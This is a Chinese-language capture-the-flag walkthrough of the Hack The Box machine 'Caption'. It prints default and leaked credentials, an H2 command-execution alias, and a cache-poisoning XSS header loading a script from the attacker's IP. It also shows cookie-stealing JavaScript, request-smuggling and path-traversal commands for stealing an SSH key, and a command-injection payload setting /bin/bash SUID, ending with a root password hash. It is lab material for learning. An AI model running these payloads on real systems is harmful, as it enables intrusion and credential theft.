Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
Caption - Patch
https://www.hackthebox.com/achievement/machine/463126/625
從更新的日志中可以看到被打了一些補丁。
在patch中打了兩個非預期,本篇文章前兩個都會介紹打的内容,另外預期在本篇文章的中後面部分。
從更新的日志中可以看到,這台機器打了一些補丁,尤其是修復了兩個非預期漏洞。首先,通過 8080 端口訪問代碼倉庫時,發現可以使用默認的 root 賬號和密碼登錄,這揭示了系統的安全漏洞。進入倉庫後,發現有關於網站的代碼和提交日志,並且注意到 80 端口的 Haproxy 配置禁用了某些路徑。另一個程序監聽 9090 端口,代碼中存在命令注入漏洞。進一步分析顯示,系統使用 H2 數據庫,並且在 margo 用戶的目錄下。利用這些信息,可以通過特定的漏洞獲得遠程代碼執行權限。接著,通過 WhatWeb 工具,發現該網站使用 Python 框架,並且有 Varnish 緩存服務器。這提示可以利用緩存投毒技術,並嘗試通過 XSS 攻擊來繞過 Haproxy 限制。通過多次嘗試,最終成功獲得了用戶 shell。進一步分析發現,通過利用 CopyParty 框架的漏洞,可以讀取任意文件,進而獲得 SSH 密鑰。最終,通過分析 RPC 服務器的源碼,利用正則表達式的漏洞,成功提權獲得 root 權限。
在預期的路徑中,使用了 h2csmuggler 工具來進行請求走私,成功繞過 Haproxy 的限制,並利用緩存投毒技術來執行 XSS 攻擊。通過不斷嘗試和調整,最終成功獲得了管理員的 cookie,進一步訪問受限的日誌文件。利用 CopyParty 框架的漏洞,成功讀取了 SSH 密鑰,並使用這些信息獲得了用戶權限。通過分析 RPC 服務的 Thrift 文件,設計了一個客戶端來調用服務,最終利用命令注入漏洞成功提權至 root。這一系列操作展示了如何從初始訪問到最終提權,利用系統中的多個漏洞來達成目標。
Recon
一開始是探測一下。
Nmap
1 | 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) |
8080端口看起來是個代碼倉庫。
80 - web
因爲目前還沒有賬號密碼,所以去倉庫看看。
web 8080
訪問 8080,如下:
在打了補丁后的機器有一個 HAProxyBypass
。
Look around GitBucket (Unintended and Patched)
竟然什么都没有那就尝试一下弱密码说不定可以进去,然后就试了一下賬號密碼都是root,結果進去了。
後來才發現原來他也是默認的密碼:
登陸進去了之後:
进去的时候看到左边有两个仓库所以一个一个点开来看。
Caption Portal
第一个仓库好像是关于网站就是80端口,由于仓库里面还有他的提交日志没有什么好看的,看了一下歷史提交记录
裏面有一個賬號密碼:
http://caption.htb:8080/root/Caption-Portal/commit/0e3bafe458d0b821d28dde7d6f43721f479abe4a
1 | user margo insecure-password vFr&cS2#0! |
这个账号密码目前没有什么用。 所以观察一下里面的代码啊配置文件啊之类的,结果看到 80 端口有一個 Haproxy
:
這個haproxy他禁用了 /logs
和 /download
,於是去80端口試一下,果然還真是。
Logservice
另外一个程序应该是提權用的,
快速看了一下代码他监听9090端口,因为现在没有9090端口,所以没有感觉到用处在哪里。
而且最有意义的地方是server.go
,可以看到它有命令注入一眼就看到那种。
Unintended way for shell as user
然后看了一下 git bucket這個框架,可以看到它的数据库是H2,
而且在一個 margo
的用戶的加目錄下。
那就看一下这个数据库有没有办法执行任意命令
RCE
Having access to communicate with the H2 database check this exploit to get RCE on it: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed
结果從hacktricks找到了一些源码,
1 | CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$; |
先建立一個alias專門給命令行用,然後執行就好了:
之后就得到了user shell:
Walking about Web (Unintended and Patched)
80端口,从上面的仓库中可以看到有一个账号密码,于是尝试登录一下看一下,结果真的进去了。
但是由于 haproxy 的規則,被禁止訪問后,
Flask backend?
所以就在思考有没有一种办法可以绕过 haproxy,随便打了一段东西之后感觉好像是個python的语言写的。
所以用 whatweb
探测一下:
1 | $ whatweb http://caption.htb/logsasds |
果然还真的是python的框架,注意,這裏有緩存服務器:Varnish/6.6
一开始就注意到缓存服务器的考法一般用來 緩存投毒,经常出现在 challenge 的 web 中。
Bypass HAProxy testing
既然是python的框架,那么我随便做了一些实验,我在本地搭建了一个临时的服务器用来测试 url。
因爲 haproxy的配置只禁止了 /log
,而且只是url的開頭,而不是匹配出现过这个路径。
1 | acl restricted_page path_beg,url_dec -i /logs |
所以我就想到能不能加一些 /
去繞過,因爲 //download
不等於 /download
,不過在flask會把多餘的 /
給吃掉。
于是我就尝试试一下,结果出现的错误,而这个错误是来自python的框架,也就是有机会可以成功地绕过,猜測应该是缺少了一些管理员權限,然後執行管理員的權限就出現錯誤的样子。
Cache Poisoning
所以就看了一下源码好像没有什么好看的地方
因为缓存服务器它会有超时的特性,使用 burp 可以看到 age,这个是缓存成功了, 也就是缓存后的页面。
也就是你现在看的这个页面其实是26秒之前的页面,而不是实时的页面,
缓存服务器的原理就是第一次请求会被记录到数据库, 之后用户访问就是从缓存好的数据里面提取,但是会有一个超时的问题也就是说开发者会指定多少秒之后强制重新刷新缓存,確保内容會同步,這個時間也就是所谓的緩存内容过期時間。
觀察了一下,這個緩存時間在2分鐘。
我还注意到了这个网站好像会有一些分析脚本,比如上圖的?utm_source=http://internal.proxy.local
,如果我可以修改這串東西,那麽就有機會xss。
因为它有极大的概率会写在HTTP的头上,所以我就盲猜但由于HTTP的转发头有很多,我通过hacktricks找到所有的緩存頭:
Headers to Change Location
Rewrite IP source:
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Forwarded-Host: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
X-Client-IP: 127.0.0.1
-
X-Host: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
Via: 1.0 fred, 1.1 127.0.0.1
然後換成:
1 | X-Originating-IP: manesec.com |
提交後看一下:
結果還真改了,那麽試一下xss,看看特殊符號會不會被轉義,结果发现特殊符号并没有转义,这样子就有了利用 XSS的可能。
为了更好的去写payload,我就把payload放在另外一个文件,然后用HTML去加载,这样子我就不需要考虑格式的问题。
为了不破坏格式,而且我只能控制上面红色框住的地方所以payload如下:
1 | X-Forwarded-Host: 127.0.0.1"> </script> <script src="http://10.10.16.39/inject.js"></script> <!-- |
弄好了之后发送过去测试一下,最终的效果如下:
你可以看到格式并没有被破坏。
Writing inject.js to test if we can xss.
有了XSS之后能做什么了,所以尝试看一下脚本能不能被正常的加载,如果脚本里面的内容不能被加载,那其实XSS也没有什么意义。所以就闭着眼睛随手写一个XSS看一下:
1 | var endPoint = "http://10.10.16.39"; |
看了一下结果他还真有解析,而且机器人也打開了這個頁面,因爲我發現有對對面的 ip callback。
XSS To download Internal services ?
那么就好办了,因为有机器人的存在,所以我假设机器人是管理员或者其他高級用戶。
假設管理员的瀏覽器執行了我的 inject.js
之后,如果可以讓管理員主動訪問然後返回獲取的内容,這樣就可以看到一些看不到的東西。
所以下面的这一段代码就是让机器人去访问一个链接,然后把内容返回到設置好的服務器。
1 | // ......... 和上面的脚本一樣 ........... |
还记得一开始有一个地方是被 HAproxy給禁止的嗎,所以現在就嘗試讀取一下 //logs
:
结果返回了一坨东西:
解密看看,看到了一堆日志的下載文件:
1 | <li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li> |
第一個 ssh 的日志很新穎,看看有没有什么账号密码在里面,结果里面什么都没有。
fetchUrl("http://caption.htb/////download?url=http://127.0.0.1:3923/ssh_logs")
注意: URL後面要雙重url編碼!!!
不過發現了 margo的用戶, 用的是 ecdsa key,而不是 rsa key。
也就是說到時候的key可能是 id_esdsa
而不是 id_rsa
。
fetchUrl("http://caption.htb/////download?url=http://127.0.0.1:3923/")
然后尝试访问一下这个端口的主页,看一下有没有什么其他的信息,结果什么版本也没有,什么产品也没有。
但是它上面有一些CSS和JS的加载,所以觉得很神奇,尝试去github 搜索一下看一下有没有框架之类什么的。
CopyParty ?
結果好像有一個叫copy party,看上去这个源碼就跟上面的html很像,所以就猜测它就是 CopyParty。
搜了一下poc,看到了這個:https://www.exploit-db.com/exploits/51636
這個LFI的poc只需要: 'http://127.0.0.1:3923/.cpr/%2Fetc%2Fpasswd'
所以嘗試訪問一下,看看是不是真的存在,如果真的存在的话,就得到sshkey。
因爲傳遞參數需要 encode 兩次,所以:
fetchUrl("http://caption.htb/////download?url=http%3A%2F%2F127%2E0%2E0%2E1%3A3923%2F%2Ecpr%2F%252Fetc%252Fpasswd")
既然真的是有lfi,那就偷ssh key:
fetchUrl("http://caption.htb///download?url=http%3A%2F%2F127%2E0%2E0%2E1%3A3923%2F%2Ecpr%2F%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa")
結果得到:
題外話:
其實 SSH key 有多種格式,
By default, SSH searches for
id_rsa
,id_ecdsa
,id_ecdsa_sk
,id_ed25519
,id_ed25519_sk
, andid_dsa
files. The keys do not have to be named like this, you can name itmykey
just as well, or even place it in a different directory.所以在不知道是使用什麽加密的情況下,也可以使用名字進行爆破。
嘗試登陸後就得到 user。
Intended way
首先在 git 中看到了已經打了補丁:
這意味著不可以使用非預期的 //
來繞過限制了,然後在配置文件中發現服務器是6081的端口:
Test Requests for Smuggling
這時候嘗試使用 h2csmuggler, 是個請求走私工具。
如果直接訪問 /logs
會直接出現 403,這是因爲 haproxy 的規則導致的。
由於知道 backend 的服務器的端口在 6801,所以嘗試請求走私看看:
1 | $ python3 h2csmuggler.py -x http://caption.htb/ 'http://127.0.0.1:6081/logs' |
看起來走私成功了,因爲他沒有返回 403,而是返回 302。
看起來是沒有權限才導致的。
Reading credit from git commit log
在 git 日志中發現了賬號密碼:
1 | userlist AuthUsers |
嘗試登錄 http://caption.htb
:
來到了後臺:
使用 burp 截取了請求:
Cache Poisoning to get cookie
然後嘗試投毒緩存服務器(至於如何發現的請看上面的非預期)。
然後一直點擊發送,等待 age
變成個位數。儅變成了個位數的時候,從緩存的頁面也可以看到投毒成功。
1 | X-Forwarded-Host: 127.0.0.1"> </script> <script src="http://10.10.16.39/payload.js"></script> <!-- |
儅機器人訪問 /firewalls
這個頁面的時候,就會出發 xss 的payload,這樣就可以在 payload.js
裏面釣 cookie :
1 | var endPoint = "http://10.10.16.31"; |
這時候等待機器人打開網頁即可,等了一段時間就收到了 cookie :
1 | Cookie%20%3D%20session%3DeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NzY3MDI4fQ.snkoEVPiYaNYoLgPOualn8P79bQRKAh3WrFcXqERnmU |
然後放在 cyberchef 裏面進行 url 解碼:
這樣就得到了 機器人的 cookie。
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NzY3MDI4fQ.snkoEVPiYaNYoLgPOualn8P79bQRKAh3WrFcXqERnmU |
Using cookies to request logs
在上面的中由於請求 /logs
沒有權限,服務器并且返回了 302 狀態碼,所以嘗試在http 頭文件指定 cookie :
1 | $ python3 h2csmuggler.py -x http://caption.htb/ 'http://127.0.0.1:6081/logs' -H "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NzY3MDI4fQ.snkoEVPiYaNYoLgPOualn8P79bQRKAh3WrFcXqERnmU" |
看起來服務器返回了一些下載的頁面,裏面可以下載一些日志,然而從下載鏈接可以看到他指向 http://127.0.0.1:3923
這個後端,所以嘗試訪問看看會發生什麽:
1 | $ python3 h2csmuggler.py -x http://caption.htb/ 'http://127.0.0.1:6081/download?url=http://127.0.0.1:3923/' -H "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NzY3MDI4fQ.snkoEVPiYaNYoLgPOualn8P79bQRKAh3WrFcXqERnmU" |
看起來很像是 copy party的框架,(具體如何發現的看上面的非預期)。
Using the copy party vulnerability to read arbitrary files
嘗試使用 copy party 的漏洞:https://www.exploit-db.com/exploits/51636
1 | $ python3 h2csmuggler.py -x http://caption.htb/ 'http://127.0.0.1:6081/download?url=http%3A%2F%2F127%2E0%2E0%2E1%3A3923%2F%2Ecpr%2F%252Fetc%252Fpasswd' -H "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NzY3MDI4fQ.snkoEVPiYaNYoLgPOualn8P79bQRKAh3WrFcXqERnmU" |
結果成功的讀取了任意文件,既然有了用戶,那就一個一個讀取看看,看看能不能讀取到 ssh key。
由於 ssh key 的名字有很多個,只能一個一個試,最後:
1 | $ python3 h2csmuggler.py -x http://caption.htb/ 'http://127.0.0.1:6081/download?url=http%3A%2F%2F127%2E0%2E0%2E1%3A3923%2F%2Ecpr%2F%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa' -H "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NzY3MDI4fQ.snkoEVPiYaNYoLgPOualn8P79bQRKAh3WrFcXqERnmU" |
就得到了 user :
Root
關於提權,一開始另一個repo就監聽9090的端口。
然后从那个report上面下载一些文件,有一個 thrift
的東西,其实它下面的简介也告诉你是一个RPC的client。
Play with ChatGPT
这里提出一个非常有趣的现象,嘗試拷打一下 chatgpt,結果他説的比我還准,我就搬過來參考下好了。
問:log_service.thrift 這個是什麽文件?
答:
log_service.thrift
是一個使用 Apache Thrift 定義的文件,通常用於描述服務的接口和數據結構。Apache Thrift 是一個開源的跨語言服務開發框架,允許不同編程語言之間進行高效的通信。在
log_service.thrift
文件中,您可能會找到以下內容:
- 服務定義:定義了可用的服務方法,例如記錄日誌、檢索日誌等。
- 數據結構:定義了用於服務的數據類型,例如日誌條目、錯誤信息等。
- 傳輸和協議設置:指定如何在客戶端和服務器之間傳輸數據。
這個文件通常是用來生成相應語言的代碼,以便開發者可以在不同的應用程序中使用這些服務。
問:我要如何使用 log_service.thrift 這個文件? python 可以嗎?
根據您提供的
log_service.thrift
文件內容,這是一個用於讀取日誌文件的簡單 Thrift 服務定義。以下是如何在 Python 中使用這個服務的具體步驟:步驟 1:生成 Python 代碼
首先,您需要使用 Thrift 編譯器生成 Python 代碼。假設您的
log_service.thrift
文件位於當前目錄中,運行以下命令:
1 thrift --gen py log_service.thrift這將在當前目錄下創建一個
gen-py
文件夾,裡面包含了生成的 Python 代碼。步驟 2:實現服務端
省略,因爲服務器已經搭建好了。
步驟 3:實現客戶端
接下來,您需要實現一個客戶端來調用
ReadLogFile
方法。以下是一個簡單的客戶端示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 from log_service import LogService
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
def main():
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = LogService.Client(protocol)
try:
transport.open()
file_path = '/etc/passwd'
log_content = client.ReadLogFile(file_path)
print("Log Content:")
print(log_content)
except Thrift.TException as tx:
print(f"Thrift error: {tx.message}")
finally:
transport.close()
if __name__ == "__main__":
main()步驟 4:運行服務和客戶端
- 首先運行服務端代碼,這將啟動 Thrift 服務。
- 然後運行客戶端代碼,這將調用
ReadLogFile
方法並打印日誌文件的內容。注意事項
- 確保您已經安裝了 Thrift 的 Python 庫。
- 根據您的環境,調整日誌文件的路徑。
- 確保服務端和客戶端使用相同的 Thrift 協議和傳輸方式。
這樣,您就可以使用
log_service.thrift
文件定義的服務來讀取日誌文件了!
Install Thrift
根據chatgpt 的提示,或者看這篇官方文章,可以先安裝好 thrift,然後這個軟件就可以根據你的 log_service.thrift
來生成你喜歡的client。
1 | $ pip3 install thrift |
生成后它是一个library,需要另外写程序去调用这个library,就和上面的chat gpt一样,改好後如下:
1 | import sys |
你可以看到他会去访问9090的端口,所以需要SSH转发一下这个端口。
1 | $ ssh -L 127.0.0.1:3923:127.0.0.1:3923 -L 127.0.0.1:8000:127.0.0.1:8000 -L 0.0.0.0:9090:127.0.0.1:9090 -L 127.0.0.1:6081:127.0.0.1:6081 -L 127.0.0.1:6082:127.0.0.1:6082 -i key margo@10.129.9.163 |
运行好脚本之后好像没有任何问题,看起來成功了。
1 | $ python test.py |
Analysis source code for Logservice
然後翻一下 server.go
的源碼,所以去看一下RPC服務器的源碼,看一下会做些什么事情。
1 | func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) { |
你可以看到他是打開一個文件,然後進行正則匹配:
IP 地址匹配 (
ipRegex
) :
1 ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
- 這個正則表達式用於匹配 IPv4 地址。IPv4 地址由四個數字組成,每個數字的範圍是 0 到 255,並且用點(
.
)分隔。-
\b
是單詞邊界,確保匹配的 IP 地址不會是其他數字的一部分。-
(?:\d{1,3}\.){3}
表示匹配三個由一到三位數字組成的部分,後面跟著一個點(.
)。-
\d{1,3}
最後一部分匹配最後一個數字,這樣整個表達式就能匹配完整的 IP 地址格式。用戶代理匹配 (
userAgentRegex
) :
1 userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
- 這個正則表達式用於提取用戶代理字符串。用戶代理通常是在 HTTP 請求中發送的,包含了有關客戶端應用程序的信息。
-
"
符號用於匹配字符串的開始和結束。-
user-agent
是要匹配的鍵名。-
:
是鍵值對中的分隔符。-
([^"]+)
是一個捕獲組,匹配用戶代理的具體內容,直到遇到下一個引號("
)。這部分會捕獲用戶代理的實際字符串。
最後他是通過正則提取后塞進去 echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log
裏面。
其中第一個ip的格式是固定的,第二個可以自由隨意更改,
更關心的是第二個地方這個: "user-agent":"([^"]+)"
从正则表达式测试的网站中可以看到,他只提取绿色的部分塞进去上面命令的第二個 %s
。
因为猜测是以Root的身份去運行,所以直接上 suid。
所以如果用 '
就可以逃脫出這個命令,然後用 ;
變成第二行的命令,用 #
來注解。
1 | ' ; chmod 4777 /bin/bash ; # ' |
最終的payload如下:
1 | 1.1.1.1 |
把他保存到 /home/margo/test.log
,然後修改RPC client讓他去運行,結果就得到了root。
Hashes
1 | root:$y$j9T$Z0mAEpyXxUFgbF4zyQYIm0$tfEWxKHM9Yv0fztCJ6GT/RYj87nvBZIl3t8ssYc3GnB:19956:0:99999:7::: |
Thanks
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)